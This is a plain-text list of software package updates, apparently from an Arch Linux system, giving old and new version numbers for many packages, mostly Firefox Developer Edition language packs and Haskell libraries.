firefox-developer-edition-i18n-pt-pt            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-rm            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ro            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ru            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-sat            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-sc            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-sco            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-si            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-sk            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-skr            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-sl            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-son            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-sq            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-sr            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-sv-se            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-szl            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ta            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-te            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-tg            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-th            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-tl            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-tr            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-trs            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-uk            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ur            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-uz            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-vi            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-xh            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-zh-cn            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-zh-tw            150.0b2-1            150.0b3-1
                             freecad             1.0.2-10              1.1.0-2
                      freeciv-common              3.2.2-6              3.2.4-1
                        freeciv-gtk3              3.2.2-6              3.2.4-1
                        freeciv-gtk4              3.2.2-6              3.2.4-1
                          freeciv-qt              3.2.2-6              3.2.4-1
                           ft2-clone               2.12-1               2.13-1
                                 gdb               17.1-2               17.1-3
                          gdb-common               17.1-2               17.1-3
                                gegl             0.4.68-1             0.4.70-1
                          gemini-cli           1:0.35.2-1           1:0.35.3-1
                                gimp              3.2.0-1              3.2.2-1
                           git-annex       10.20251215-14       10.20251215-19
                           git-delta             0.19.1-1             0.19.2-1
                          git-repair       1.20230814-189       1.20230814-190
                               gitit         0.15.1.2-121         0.15.1.2-127
                             glances              4.5.2-2              4.5.3-1
                               glirc            2.40.1-70            2.40.1-74
           globalprotect-openconnect              2.5.1-2              2.5.1-3
                                  gn    0.2324.304bbef6-1    0.2324.304bbef6-2
                      gnuradio-iqbal             0.38.3-2             0.38.3-3
                       golangci-lint             2.11.3-1             2.11.4-1
                         google-glog              0.7.1-1              0.7.1-2
                                grpc             1.78.1-2             1.80.0-1
                            grpc-cli             1.78.1-2             1.80.0-1
                                gvim           9.2.0204-2           9.2.0272-1
                              hamlib              4.6.5-3              4.7.0-1
                           hardinfo2             2.2.16-1             2.2.16-2
                 haskell-adjunctions            4.4.3-102              4.4.4-1
                       haskell-aeson            2.2.1.0-5            2.2.1.0-7
         haskell-aeson-better-errors           0.9.1.3-73           0.9.1.3-75
                haskell-aeson-casing          0.2.0.0-233          0.2.0.0-235
                  haskell-aeson-diff         1.1.0.13-267         1.1.0.13-269
                haskell-aeson-pretty           0.8.10-150           0.8.10-152
                    haskell-aeson-qq            0.8.4-335            0.8.4-337
        haskell-aeson-warning-parser             0.1.1-89             0.1.1-91
                  haskell-aeson-yaml          1.1.0.1-349          1.1.0.1-351
                haskell-apply-refact          0.14.0.0-63          0.14.0.0-64
                    haskell-arch-web             0.3.2-54             0.3.2-58
                    haskell-arithmoi          0.13.2.0-32          0.13.2.0-35
            haskell-attoparsec-aeson            2.2.0.0-7            2.2.0.0-9
                haskell-authenticate          1.3.5.2-250          1.3.5.2-253
          haskell-authenticate-oauth              1.7-373              1.7-375
                         haskell-aws             0.24.2-9            0.24.2-12
              haskell-binary-conduit            1.3.1-588            1.3.1-590
            haskell-binary-instances            1.0.4-161            1.0.4-163
               haskell-binary-tagged            0.3.1-332            0.3.1-334
                      haskell-bitvec           1.1.5.0-43           1.1.5.0-45
                  haskell-bower-json          1.1.0.0-229          1.1.0.0-231
                  haskell-breakpoint           0.1.4.0-20            0.1.5.0-1
                     haskell-butcher          1.3.3.2-508          1.3.3.2-510
                    haskell-bv-sized             1.0.6-96             1.0.6-99
                  haskell-byte-order          0.1.3.1-161          0.1.3.1-163
   haskell-bytestring-strict-builder           0.4.5.8-76           0.4.5.8-78
       haskell-cabal-install-parsers           0.6.1.1-12           0.6.1.1-16
                 haskell-casa-client             0.0.3-32             0.0.3-36
                  haskell-casa-types             0.0.3-24             0.0.3-27
                       haskell-cborg          0.2.10.0-86          0.2.10.0-88
                  haskell-cborg-json          0.2.6.0-101          0.2.6.0-103
                  haskell-cheapskate          0.1.1.2-861          0.1.1.2-864
                    haskell-checkers            0.6.0-257            0.6.0-258
                     haskell-chimera          0.4.1.0-144          0.4.1.0-146
                          haskell-ci            0.16.6-48            0.16.6-52
                    haskell-citeproc           0.8.1.1-84           0.8.1.1-86
                   haskell-clash-lib             1.8.2-97            1.8.2-100
               haskell-clash-prelude             1.8.2-89             1.8.2-92
              haskell-classy-prelude           1.5.0.3-81           1.5.0.3-84
                haskell-coinbase-pro          0.9.3.2-435          0.9.3.2-439
       haskell-commonmark-extensions            0.2.5.6-5            0.2.5.6-6
           haskell-commonmark-pandoc           0.2.2.3-46           0.2.2.3-48
                     haskell-concise          0.1.0.1-660          0.1.0.1-662
                     haskell-conduit          1.3.6.1-133          1.3.6.1-135
               haskell-conduit-extra             1.3.8-76             1.3.8-78
               haskell-conduit-parse          0.2.1.1-311          0.2.1.1-313
               haskell-config-schema          1.3.0.0-234          1.3.0.0-236
          haskell-constraints-extras           0.4.0.2-54           0.4.0.2-56
               haskell-contravariant              1.5.5-6              1.5.6-1
        haskell-contravariant-extras            0.3.5.4-6            0.3.5.4-7
                   haskell-criterion           1.6.3.0-47           1.6.3.0-49
       haskell-criterion-measurement           0.2.3.0-57           0.2.3.0-59
             haskell-crypton-conduit            0.2.3-219            0.2.3-221
          haskell-crypton-connection             0.4.5-26             0.4.5-28
          haskell-cryptonite-conduit            0.2.2-792            0.2.2-794
                         haskell-dav            1.3.4-874            1.3.4-879
                        haskell-dbus             1.3.3-73             1.3.3-76
               haskell-dbus-hslogger          0.1.0.1-676          0.1.0.1-679
              haskell-deferred-folds           0.9.18.8-2           0.9.18.8-4
        haskell-dense-linear-algebra          0.1.0.0-444          0.1.0.0-446
               haskell-dependent-map            0.4.0.1-9           0.4.0.1-11
               haskell-dependent-sum          0.7.2.0-219          0.7.2.0-221
      haskell-dependent-sum-template           0.2.0.2-17           0.2.0.2-19
                       haskell-deque          0.4.4.2-114          0.4.4.2-116
              haskell-deriving-aeson           0.2.10-131           0.2.10-133
                      haskell-docopt          0.7.0.8-151          0.7.0.8-153
                haskell-doctemplates          0.11.0.1-76          0.11.0.1-78
            haskell-doctest-discover          0.2.0.0-213          0.2.0.0-215
                      haskell-either             5.0.3-79             5.0.3-80
                  haskell-enummapset          0.7.3.0-139          0.7.3.0-141
                   haskell-esqueleto           3.5.11.0-8           3.5.11.1-4
                  haskell-fdo-notify            0.3.1-922            0.3.1-925
                        haskell-feed          1.3.2.1-330          1.3.2.1-332
                    haskell-floskell           0.10.8-189           0.10.8-191
                       haskell-focus          1.0.3.2-186          1.0.3.2-188
                       haskell-foldl            1.4.18-93            1.4.18-94
                    haskell-fourmolu           0.13.1.0-5           0.14.0.0-2
                        haskell-free              5.2-124              5.2-125
                    haskell-fsnotify           0.4.4.0-40           0.4.4.0-42
                haskell-generic-data           1.1.0.2-66           1.1.0.2-68
                haskell-generic-lens          2.2.2.0-200          2.2.2.0-202
                   haskell-ghc-check          0.5.0.8-150          0.5.0.8-151
              haskell-ghc-exactprint            1.7.1.0-9           1.7.1.0-10
                      haskell-ghcide           2.2.0.0-16            2.3.0.0-5
           haskell-ghcide-test-utils          1.9.0.0-292          1.9.0.0-299
                          haskell-gi           0.26.16-10           0.26.16-12
                      haskell-gi-atk            2.0.28-38            2.0.28-40
                    haskell-gi-cairo            1.0.30-31            1.0.30-33
          haskell-gi-cairo-connector            0.1.1-313            0.1.1-315
                 haskell-gi-dbusmenu            0.4.14-33            0.4.14-35
             haskell-gi-dbusmenugtk3           0.4.15-130           0.4.15-132
                haskell-gi-freetype2             2.0.5-41             2.0.5-43
                      haskell-gi-gdk            4.0.9-106            4.0.9-108
                     haskell-gi-gdk3            3.0.29-30            3.0.29-32
                  haskell-gi-gdk3x11             3.0.15-6             3.0.16-1
                haskell-gi-gdkpixbuf           2.0.32-142           2.0.32-144
                   haskell-gi-gdkx11            4.0.8-129            4.0.8-131
                      haskell-gi-gio            2.0.38-25            2.0.38-27
                     haskell-gi-glib            2.0.30-59            2.0.30-61
                  haskell-gi-gmodule             2.0.6-43             2.0.6-45
                  haskell-gi-gobject            2.0.31-75            2.0.31-77
                 haskell-gi-graphene             1.0.8-68             1.0.8-70
                      haskell-gi-gsk             4.0.8-55             4.0.8-57
                      haskell-gi-gtk            4.0.11-32            4.0.11-34
                   haskell-gi-gtk-hs           0.3.17-101           0.3.17-103
                     haskell-gi-gtk3            3.0.43-13            3.0.43-15
                 haskell-gi-harfbuzz           0.0.10-147           0.0.10-149
                    haskell-gi-pango            1.0.30-36            1.0.30-38
                     haskell-gi-xlib            2.0.14-93            2.0.14-95
                     haskell-git-lfs             1.2.5-78             1.2.5-81
                     haskell-githash          0.1.6.3-345          0.1.6.3-348
                haskell-gtk-sni-tray          0.1.8.1-394          0.1.8.1-397
                   haskell-gtk-strut          0.1.3.2-348          0.1.3.2-350
                  haskell-hackage-db            2.1.3-191            2.1.3-193
            haskell-hackage-security           0.6.3.2-13           0.6.3.2-15
             haskell-haddock-library           1.11.0-184           1.11.0-188
                     haskell-hadrian     0.1.0.0+9.6.6-16     0.1.0.0+9.6.6-19
                      haskell-hakyll          4.16.4.0-25          4.16.4.0-31
            haskell-happstack-server             7.9.3-24             7.9.3-25
                       haskell-hasql          1.5.0.5-114            1.6.1.1-2
    haskell-hasql-dynamic-statements          0.3.1.1-280            0.3.1.2-2
             haskell-hasql-implicits          0.1.0.5-316          0.1.0.5-320
         haskell-hasql-notifications           0.2.0.5-89           0.2.0.5-93
                  haskell-hasql-pool          0.5.2.2-399            0.8.0.2-2
           haskell-hasql-transaction          1.0.1.1-421            1.0.1.2-2
            haskell-hedgehog-classes          0.2.5.4-216          0.2.5.4-218
                        haskell-here           1.2.14-135           1.2.14-136
                    haskell-hie-bios           0.12.0-159           0.12.0-161
                 haskell-hledger-lib               1.52-6               1.52-8
haskell-hls-alternate-number-format-plugin     2.2.0.0-16            2.3.0.0-5
        haskell-hls-cabal-fmt-plugin           2.2.0.0-16            2.3.0.0-5
            haskell-hls-cabal-plugin           2.2.0.0-16            2.3.0.0-5
   haskell-hls-call-hierarchy-plugin           2.2.0.0-16            2.3.0.0-5
haskell-hls-change-type-signature-plugin       2.2.0.0-16            2.3.0.0-5
            haskell-hls-class-plugin           2.2.0.0-16            2.3.0.0-5
       haskell-hls-code-range-plugin           2.2.0.0-16            2.3.0.0-5
             haskell-hls-eval-plugin           2.2.0.0-16            2.3.0.0-5
  haskell-hls-explicit-fixity-plugin           2.2.0.0-16            2.3.0.0-5
 haskell-hls-explicit-imports-plugin           2.2.0.0-16            2.3.0.0-5
haskell-hls-explicit-record-fields-plugin      2.2.0.0-16            2.3.0.0-5
         haskell-hls-floskell-plugin           2.2.0.0-16            2.3.0.0-5
         haskell-hls-fourmolu-plugin           2.2.0.0-17            2.3.0.0-5
             haskell-hls-gadt-plugin           2.2.0.0-17            2.3.0.0-5
                   haskell-hls-graph           2.2.0.0-12            2.3.0.0-4
            haskell-hls-hlint-plugin           2.2.0.0-16            2.3.0.0-5
      haskell-hls-module-name-plugin           2.2.0.0-16            2.3.0.0-5
           haskell-hls-ormolu-plugin           2.2.0.0-16            2.3.0.0-5
haskell-hls-overloaded-record-dot-plugin       2.2.0.0-16            2.3.0.0-5
              haskell-hls-plugin-api           2.2.0.0-15            2.3.0.0-4
          haskell-hls-pragmas-plugin           2.2.0.0-16            2.3.0.0-5
haskell-hls-qualify-imported-names-plugin      2.2.0.0-16            2.3.0.0-5
         haskell-hls-refactor-plugin           2.2.0.0-17            2.3.0.0-5
           haskell-hls-rename-plugin           2.2.0.0-17            2.3.0.0-5
           haskell-hls-retrie-plugin           2.2.0.0-17            2.3.0.0-5
           haskell-hls-splice-plugin           2.2.0.0-17            2.3.0.0-5
  haskell-hls-stylish-haskell-plugin           2.2.0.0-16            2.3.0.0-5
              haskell-hls-test-utils           2.2.0.0-16            2.3.0.0-5
                     haskell-hoauth2            2.14.0-16            2.14.0-19
                    haskell-hopenpgp           2.10.1-121           2.10.1-124
                       haskell-hpack            0.38.0-21            0.38.0-24
                       haskell-hslua            2.3.0-203            2.3.0-206
                 haskell-hslua-aeson           2.3.1.1-51           2.3.1.1-54
               haskell-hslua-classes             2.3.1-30             2.3.1-31
                  haskell-hslua-core             2.3.2-34             2.3.2-35
                  haskell-hslua-list             1.1.4-29             1.1.4-30
           haskell-hslua-marshalling            2.3.1-141            2.3.1-142
      haskell-hslua-module-doclayout             1.2.0-11             1.2.0-14
           haskell-hslua-module-path            1.1.1-105            1.1.1-108
         haskell-hslua-module-system             1.1.2-54             1.1.2-55
           haskell-hslua-module-text          1.1.0.1-168          1.1.0.1-169
        haskell-hslua-module-version            1.1.1-147            1.1.1-150
            haskell-hslua-module-zip             1.1.3-47             1.1.3-48
     haskell-hslua-objectorientation             2.3.1-49             2.3.1-50
             haskell-hslua-packaging            2.3.1-151            2.3.1-152
                  haskell-hslua-repl            0.1.2-147            0.1.2-148
                haskell-hslua-typing            0.1.1-143            0.1.1-144
                   haskell-hspec-wai           0.11.1-639           0.11.1-642
              haskell-hspec-wai-json           0.11.0-710           0.11.0-713
                haskell-hsyaml-aeson           0.2.0.2-58           0.2.0.2-60
                         haskell-htf          0.15.0.2-68          0.15.0.2-70
                haskell-html-conduit          1.3.2.2-388          1.3.2.2-390
                        haskell-http         4000.4.1-398         4000.4.1-401
                 haskell-http-client            0.7.19-58            0.7.19-60
      haskell-http-client-restricted            0.1.0-198            0.1.0-201
             haskell-http-client-tls          0.3.6.4-137          0.3.6.4-140
                haskell-http-conduit          2.3.9.1-197          2.3.9.1-200
               haskell-http-download          0.2.1.0-327          0.2.1.0-330
                haskell-http-streams          0.8.9.9-292          0.8.9.9-295
                       haskell-http2             5.1.0-17             5.1.0-19
                       haskell-http3             0.0.9-21             0.0.9-23
                  haskell-httpd-shed          0.4.1.2-108          0.4.1.2-109
               haskell-hw-fingertree          0.1.2.1-194          0.1.2.1-196
           haskell-hw-hspec-hedgehog          0.1.1.1-213          0.1.1.1-215
                     haskell-hw-prim          0.6.3.2-213          0.6.3.2-215
                         haskell-hxt         9.3.1.22-234         9.3.1.22-235
                haskell-implicit-hie           0.1.4.0-78           0.1.4.0-80
         haskell-implicit-hie-cradle          0.5.0.1-192          0.5.0.1-194
          haskell-incremental-parser            0.5.1-166            0.5.1-167
   haskell-insert-ordered-containers          0.2.5.3-200          0.2.5.3-203
                 haskell-interpolate            0.2.1-468            0.2.1-469
    haskell-interpolatedstring-perl6            1.0.2-405            1.0.2-406
                   haskell-invariant             0.6.4-94             0.6.4-95
                       haskell-ipynb              0.2-283              0.2-285
              haskell-ipython-kernel           0.12.0.0-8          0.12.0.0-10
           haskell-isomorphism-class             0.1.1-92             0.1.1-94
                 haskell-ixset-typed          0.5.1.0-314          0.5.1.0-316
                        haskell-jose             0.10-256             0.10-259
                   haskell-js-jquery            3.7.1-107            3.7.1-110
              haskell-kan-extensions             5.2.7-85             5.2.7-87
                        haskell-keys             3.12.5-5             3.12.5-6
                    haskell-kvitable            1.1.1.1-7           1.1.1.1-10
           haskell-lambdabot-trusted          5.3.1.2-244          5.3.1.2-247
                  haskell-lambdahack         0.11.0.1-190         0.11.0.1-193
             haskell-language-server           2.2.0.0-19            2.3.0.0-5
                    haskell-lattices             2.2.1-96             2.2.1-97
                        haskell-lens              5.3.4-1              5.3.4-3
                 haskell-lens-action            0.2.6-329            0.2.6-331
                  haskell-lens-aeson            1.2.3-202            1.2.3-205
                     haskell-libyaml            0.1.4-161            0.1.4-163
                      haskell-linear            1.23.2-47            1.23.2-49
                      haskell-list-t           1.0.5.7-63           1.0.5.7-65
                    haskell-lrucache           1.2.0.1-26           1.2.0.1-27
                         haskell-lsp           2.2.0.0-10           2.2.0.0-13
                    haskell-lsp-test          0.16.0.0-11          0.16.0.0-14
                   haskell-lsp-types            2.0.2.0-9           2.0.2.0-12
               haskell-lua-arbitrary          1.0.1.1-135            1.0.1.2-1
                  haskell-lumberjack          1.0.3.0-172          1.0.3.0-173
                  haskell-microaeson           0.1.0.3-43           0.1.0.3-45
             haskell-microlens-aeson            2.5.2-151            2.5.2-153
                 haskell-microstache          1.0.2.3-212          1.0.2.3-214
                  haskell-mime-types            0.1.2.0-4            0.1.2.1-1
                       haskell-mmark          0.0.7.6-346          0.0.7.6-348
                         haskell-mod           0.2.1.0-30           0.2.1.0-32
                  haskell-modern-uri          0.3.6.1-147          0.3.6.1-148
              haskell-monad-dijkstra          0.1.1.5-193          0.1.1.5-195
                haskell-monad-logger           0.3.42-113           0.3.42-115
            haskell-mono-traversable         1.0.21.0-135         1.0.21.0-137
  haskell-mono-traversable-instances          0.1.1.0-386          0.1.1.0-389
                    haskell-mustache           2.4.3.1-72           2.4.3.1-76
          haskell-mutable-containers          0.3.4.1-242          0.3.4.1-244
                  haskell-named-text           1.2.2.0-13           1.2.2.0-16
          haskell-neat-interpolation          0.5.1.4-199          0.5.1.4-201
                 haskell-network-uri          2.6.4.2-137          2.6.4.2-138
                        haskell-oeis           0.3.10.2-6           0.3.10.2-9
                   haskell-one-liner              2.1.1-2              2.1.1-3
             haskell-optparse-simple          0.1.1.4-535          0.1.1.4-538
                      haskell-ormolu           0.6.0.0-13           0.6.0.0-15
                       haskell-pager          0.1.1.0-218          0.1.1.0-220
                      haskell-pandoc               3.5-12                3.6-2
           haskell-pandoc-lua-engine             0.3.3-14                0.4-2
          haskell-pandoc-lua-marshal             0.2.9-15              0.3.0-1
               haskell-pandoc-server           0.1.0.10-3           0.1.0.10-9
                haskell-pandoc-types           1.23.1-164           1.23.1-166
                      haskell-pantry           0.8.2.2-32           0.8.2.2-36
         haskell-parameterized-utils           2.1.11.0-9          2.1.11.0-12
                        haskell-path              0.9.6-9             0.9.6-11
                     haskell-path-io            1.8.2-140            1.8.2-142
                  haskell-persistent          2.14.5.2-58          2.14.5.2-61
            haskell-persistent-mysql         2.13.1.5-100         2.13.1.5-103
       haskell-persistent-postgresql          2.13.5.2-24          2.13.5.2-27
               haskell-persistent-qq          2.12.0.7-73          2.12.0.7-76
           haskell-persistent-sqlite          2.13.1.1-66          2.13.1.1-69
             haskell-persistent-test         2.13.1.3-208         2.13.1.3-211
                  haskell-pipes-http            1.0.6-770            1.0.6-773
                     haskell-pointed            5.0.5-125            5.0.5-127
           haskell-postgresql-binary           0.12.5-267           0.12.5-270
           haskell-postgresql-simple          0.6.5.1-112          0.6.5.1-114
        haskell-prettyprinter-interp          0.2.0.0-157          0.2.0.0-158
                   haskell-prim-uniq              0.2-250              0.2-252
            haskell-primitive-extras         0.10.2.2-131         0.10.2.2-134
                 haskell-profunctors             5.6.3-82             5.6.3-83
            haskell-project-template          0.2.1.0-508          0.2.1.0-510
                         haskell-ptr         0.16.8.7-128         0.16.8.7-130
                        haskell-quic             0.1.27-3             0.1.27-5
          haskell-quickcheck-classes          0.6.5.0-342          0.6.5.0-344
                         haskell-ral             0.2.2-54             0.2.2-56
                      haskell-rebase            1.20.2-14            1.20.2-16
                   haskell-recaptcha          0.1.0.4-379          0.1.0.4-382
           haskell-recursion-schemes            5.2.3-141            5.2.3-142
                    haskell-reducers           3.12.5-125           3.12.5-126
                    haskell-refinery          0.4.0.0-317          0.4.0.0-318
                         haskell-req            3.13.4-32            3.13.4-35
                        haskell-rere           0.2.0.2-13           0.2.0.2-15
                    haskell-rerebase            1.20.2-14            1.20.2-16
                      haskell-retrie            1.2.3-159            1.2.3-161
                 haskell-rio-orphans          0.1.2.0-486          0.1.2.0-488
             haskell-rio-prettyprint           0.1.8.0-69           0.1.8.0-71
                   haskell-row-types           1.0.1.2-66           1.0.1.2-68
                    haskell-safecopy          0.10.4.3-57          0.10.4.3-59
                       haskell-sandi              0.5-597              0.5-599
                    haskell-sandwich           0.2.2.0-20           0.2.2.0-22
                      haskell-scotty             0.22-203             0.22-206
                        haskell-sdl2          2.5.5.1-128          2.5.5.1-131
                    haskell-sdl2-ttf            2.1.3-278            2.1.3-281
                   haskell-semialign             1.3.1-58             1.3.1-59
               haskell-semigroupoids              6.0.2-3              6.0.2-4
                   haskell-serialise          0.2.6.1-174          0.2.6.1-176
                     haskell-servant          0.20.3.0-52          0.20.3.0-54
              haskell-servant-client          0.20.3.0-67          0.20.3.0-71
         haskell-servant-client-core          0.20.3.0-52          0.20.3.0-54
              haskell-servant-server          0.20.3.0-67          0.20.3.0-70
             haskell-servant-swagger            1.2.1-153            1.2.1-156
                       haskell-shake           0.19.6-387           0.19.6-390
                 haskell-shakespeare             2.1.7-14            2.1.7.1-2
             haskell-simple-sendfile           0.2.32-196           0.2.32-198
                 haskell-skylighting             0.14.4-3             0.14.4-5
            haskell-skylighting-core             0.14.4-3             0.14.4-5
     haskell-skylighting-format-ansi              0.1-293              0.1-295
haskell-skylighting-format-blaze-html         0.1.1.3-147          0.1.1.3-149
  haskell-skylighting-format-context          0.1.0.2-257          0.1.0.2-259
    haskell-skylighting-format-latex              0.1-292              0.1-294
                   haskell-snap-core          1.0.5.1-210          1.0.5.1-211
                 haskell-snap-server          1.1.2.1-362          1.1.2.1-365
                   haskell-sourcemap            0.1.7-299            0.1.7-301
                    haskell-src-meta            0.8.15-90            0.8.15-91
                  haskell-statistics           0.16.4.0-9          0.16.4.0-11
        haskell-status-notifier-item            0.3.2.0-2            0.3.2.0-5
              haskell-stm-containers          1.2.1.1-160          1.2.1.1-164
                    haskell-stm-hamt          1.2.1.1-132              1.2.2-3
                       haskell-store           0.7.20-137           0.7.20-139
                     haskell-streams            3.3.3-125            3.3.3-127
                 haskell-strict-list          0.1.7.6-132          0.1.7.6-134
          haskell-string-interpolate          0.3.4.0-143          0.3.4.0-144
                  haskell-structured            0.1.1-319            0.1.1-321
                    haskell-summoner            2.1.0.0-2            2.1.0.0-6
                haskell-summoner-tui            2.1.0.0-2            2.1.0.0-6
                    haskell-swagger2            2.8.10-98           2.8.10-101
           haskell-tagstream-conduit            0.5.6-536            0.5.6-538
haskell-tamarin-prover-accountability            1.12.0-6             1.12.0-8
       haskell-tamarin-prover-export             1.12.0-6             1.12.0-8
        haskell-tamarin-prover-sapic             1.12.0-6             1.12.0-8
         haskell-tamarin-prover-term             1.12.0-6             1.12.0-8
       haskell-tamarin-prover-theory             1.12.0-6             1.12.0-8
        haskell-tamarin-prover-utils             1.12.0-6             1.12.0-8
                 haskell-tar-conduit            0.4.1-191            0.4.1-193
             haskell-tasty-checklist           1.0.8.0-10           1.0.8.0-13
                 haskell-tasty-hslua            1.1.1-139            1.1.1-140
                   haskell-tasty-lua           1.1.1.1-72           1.1.1.1-73
                 haskell-tasty-sugar           2.2.2.1-85           2.2.2.1-88
                     haskell-tdigest            0.3.1-150            0.3.1-152
                     haskell-texmath         0.12.8.11-15          0.12.8.12-1
                haskell-text-builder            0.6.7-283            0.6.7-285
            haskell-text-builder-dev          0.3.3.2-244          0.3.3.2-246
                   haskell-th-compat             0.1.6-87              0.1.7-1
                  haskell-th-desugar               1.16-3               1.16-4
                      haskell-th-env            0.1.1-164            0.1.1-165
                  haskell-th-orphans            0.13.17-4            0.13.17-5
                haskell-th-utilities          0.2.5.2-102          0.2.5.2-103
                         haskell-tls             2.0.6-71             2.0.6-73
         haskell-tls-session-manager             0.0.6-21             0.0.6-23
                   haskell-tree-diff          0.3.0.1-229              0.3.1-3
                    haskell-trifecta            2.1.4-174            2.1.4-176
                      haskell-turtle            1.6.2-161            1.6.2-162
                       haskell-typst               0.6-19              0.6.1-1
               haskell-typst-symbols              0.1.6-2              0.1.7-1
        haskell-uri-bytestring-aeson          0.1.0.9-133          0.1.0.9-135
                  haskell-uri-encode          1.5.0.7-319          1.5.0.7-320
                         haskell-vec             0.5.1-52             0.5.1-54
           haskell-vector-algorithms          0.9.1.0-123          0.9.1.0-125
              haskell-vector-builder          0.3.8.6-139          0.3.8.6-141
            haskell-vector-instances             3.4.3-77             3.4.3-79
                haskell-vector-sized            1.6.1-155            1.6.1-157
            haskell-wai-app-file-cgi            3.1.11-20            3.1.11-23
              haskell-wai-app-static            3.1.9-233            3.1.9-236
                 haskell-wai-conduit          3.0.0.4-714          3.0.0.4-716
                   haskell-wai-extra            3.1.18-41            3.1.18-44
          haskell-wai-handler-launch          3.0.3.1-811          3.0.3.1-814
             haskell-wai-http2-extra            0.1.3-376            0.1.3-379
       haskell-wai-middleware-static            0.9.3-192            0.9.3-195
                        haskell-warp             3.4.0-19             3.4.0-22
                   haskell-warp-quic            0.0.0-435            0.0.0-438
                    haskell-warp-tls            3.4.9-191            3.4.9-194
                       haskell-weigh           0.0.18-122           0.0.18-124
                       haskell-what4               1.6-78               1.6-81
                   haskell-wide-word           0.1.8.1-33           0.1.8.1-35
                   haskell-with-utf8          1.1.0.0-131          1.1.0.0-132
            haskell-wl-pprint-extras          3.5.0.5-560          3.5.0.5-561
          haskell-wl-pprint-terminfo          3.7.1.4-560          3.7.1.4-561
                        haskell-wreq            0.5.4.4-3            0.5.4.4-7
                        haskell-wuss           2.0.1.6-31           2.0.1.6-33
                      haskell-xcffib             1.6.1-14             1.6.1-15
           haskell-xdg-desktop-entry            0.1.1.3-2            0.1.1.3-3
                 haskell-xml-conduit          1.9.1.4-150          1.9.1.4-152
                  haskell-xml-hamlet            0.5.0.3-8           0.5.0.3-11
                      haskell-xmlgen          0.6.2.2-191          0.6.2.2-192
                haskell-xss-sanitize          0.3.7.2-131          0.3.7.2-132
                        haskell-yaml        0.11.11.2-205        0.11.11.2-207
                       haskell-yesod          1.6.2.1-460          1.6.2.1-464
                  haskell-yesod-auth         1.6.11.3-282         1.6.11.3-286
                  haskell-yesod-core         1.6.27.1-115         1.6.27.1-119
                  haskell-yesod-form            1.7.9.2-2            1.7.9.2-6
            haskell-yesod-persistent          1.6.0.8-520          1.6.0.8-524
                haskell-yesod-static          1.6.1.0-979          1.6.1.0-983
                  haskell-yesod-test           1.6.23-134           1.6.23-138
                           hedgewars             1.0.3-19             1.0.3-21
                               hefur               1.0-35               1.0-36
                               hepmc              3.3.1-7              3.3.1-8
                          hepmc-docs              3.3.1-7              3.3.1-8
                             hindent              6.1.1-6              6.1.1-8
                               hiprt      3.1.0.cb09c56-2      3.1.0.cb09c56-3
                             hledger               1.52-6              1.52-10
                        hledger-iadd            1.3.22-17            1.3.22-19
                          hledger-ui               1.52-7              1.52-11
                         hledger-web              1.52-10              1.52-14
                               hlint              3.6.1-8             3.6.1-10
                              hoogle         5.0.18.4-265         5.0.18.4-268
                      hopenpgp-tools           0.23.11-40           0.23.11-44
              hsa-amd-aqlprofile-bin              7.1.0-1              7.1.0-2
                           hslua-cli             1.4.3-87             1.4.3-88
                       i3status-rust             0.36.0-1             0.36.1-1
                               iaito              5.9.9-1              6.1.2-1
                      ibus-libpinyin             1.16.0-4             1.16.1-1
                               idris            1.3.4-478            1.3.4-481
                            ihaskell           0.13.0.0-9          0.13.0.0-12
                               incus             6.22.0-1             6.23.0-1
                         incus-tools             6.22.0-1             6.23.0-1
                              jasper              4.2.8-1              4.2.9-1
                          jasper-doc              4.2.8-1              4.2.9-1
                     jellyfin-ffmpeg          1:7.1.3p3-2          1:7.1.3p4-1
                                jolt              1.2.0-2              1.2.0-3
                               kicad             10.0.0-1             10.0.0-2
                          kitinerary            25.12.3-2            25.12.3-3
                              kmonad             0.4.4-89             0.4.4-91
                       kosmindoormap            25.12.3-1            25.12.3-2
                   libedataserverui4             3.58.3-1             3.58.3-2
                               libhx                5.3-1                5.4-1
              libperconaserverclient            8.4.8_8-1            8.4.8_8-2
                      libphonenumber           1:9.0.27-1           1:9.0.27-2
                            libsbsms              2.3.0-5              2.3.0-6
                           libsigrok             0.5.2-25             0.5.2-26
                           libtg_owt    0.git33.26068e2-1    0.git33.26068e2-2
                              libvlc             3.0.22-1             3.0.22-2
                              libvpx             1.16.0-2             1.16.0-3
                      libwireplumber             0.5.13-2             0.5.14-1
                              libwmf             0.2.13-4             0.2.14-1
                              libxdp              1.6.2-1              1.6.3-1
                          lincity-ng             2.14.2-2             2.14.2-3
                           lostfiles               4.14-1               4.15-1
                        lua-luarocks             3.13.0-4             3.13.0-5
                      lua51-luarocks             3.13.0-4             3.13.0-5
                      lua52-luarocks             3.13.0-4             3.13.0-5
                      lua53-luarocks             3.13.0-4             3.13.0-5
                      lua54-luarocks             3.13.0-4             3.13.0-5
                              luajit2.1.1774638290+fbb36bb-12.1.1774896198+18b087c-1
                            luarocks             3.13.0-4             3.13.0-5
                                mako             1.10.0-1             1.11.0-1
                              marble            25.12.3-1            25.12.3-2
